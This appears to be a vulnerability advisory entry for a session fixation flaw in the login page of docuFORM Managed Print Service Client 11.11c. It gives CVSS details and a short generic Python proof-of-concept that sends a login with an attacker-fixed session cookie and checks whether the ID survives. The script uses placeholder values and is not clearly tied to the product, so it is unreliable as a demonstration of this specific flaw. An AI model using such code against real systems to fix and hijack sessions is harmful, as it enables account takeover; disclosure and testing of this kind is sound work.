docuFORM Managed Print Service Client 11.11c is vulnerable to a session fixation attack via the login page of the application.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
docuFORM Managed Print Service Client 11.11c
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for Session Fixation
# Attacker sets a session ID and tricks the user into logging in with it.
import requests
target_login = "https://target-app/login"
fixed_session_id = "attacker_controlled_session_123"
# Step 1: Attacker sends link to victim with the fixed session ID
# Link: https://target-app/login;jsessionid=attacker_controlled_session_123
# Step 2: Victim logs in using the attacker's session ID
login_data = {
"username": "victim_user",
"password": "victim_password"
}
# The cookie containing the fixed ID is sent with the login request
cookies = {
"JSESSIONID": fixed_session_id
}
response = requests.post(target_login, data=login_data, cookies=cookies)
# Step 3: Verify if the session is fixed (server accepts the ID)
if response.status_code == 200 and fixed_session_id in response.cookies.get("JSESSIONID", ""):
print(f"Vulnerable: Session ID remains {fixed_session_id} after login.")
print("Attacker can now authenticate using this ID.")
else:
print("Mitigated: Session ID changed after login.")